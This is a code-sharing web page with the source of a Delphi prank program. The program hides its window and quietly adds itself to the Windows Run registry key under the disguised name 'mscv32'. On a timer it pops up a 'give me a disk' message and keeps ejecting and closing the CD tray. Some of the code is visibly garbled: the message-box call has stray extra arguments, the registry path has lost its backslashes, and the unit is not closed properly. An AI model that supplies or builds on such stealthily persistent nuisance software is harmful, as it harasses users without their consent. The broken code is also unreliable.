}

Delphi.int.ru — Портал программистов

Вход Регистрация | Забыли пароль?

Просмотр кода

Идентификатор: 4d75e69f Описание: Код загружен: 13 июля 2011, 19:37 (Моисеев Евгений Леонидович)

  1. unit Unit17;
  2.  
  3. interface
  4.  
  5. uses
  6. Registry,MMSystem, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7. Dialogs, ExtCtrls;
  8.  
  9. type
  10. TForm17 = class(TForm)
  11. Timer1: TTimer;
  12. procedure FormCreate(Sender: TObject);
  13. procedure Timer1Timer(Sender: TObject);
  14. private
  15. { Private declarations }
  16. public
  17. { Public declarations }
  18. end;
  19.  
  20. var
  21. Form17: TForm17;
  22. reg: tregistry;
  23. implementation
  24.  
  25. {$R *.dfm}
  26.  
  27. procedure TForm17.FormCreate(Sender: TObject);
  28. begin
  29. application.showmainform:=false;
  30. reg := tregistry.create;
  31. reg.rootkey:=hkey_local_machine;
  32. reg.lazywrite := false;
  33. reg.openkey('softwaremicrosoftwindowscurrentversionrun',false);
  34. reg.writestring('mscv32', application. exename);
  35. reg.closekey;
  36. reg.free;
  37. end;
  38.  
  39. procedure TForm17.Timer1Timer(Sender: TObject);
  40. begin
  41. messagebox(getdesktopwindow,'Я голоден..!Дай диск плз =(', 'cd-rom', mb, 'cd-rom', mb_ok);
  42. mcisendstring('set cdaudio door open wait', nil, 0, handle);
  43. mcisendstring('set cdaudio door closed wait', nil, 0, handle);
  44. end

Ссылка на данный код:

На главную страницу сервиса обмена кодом »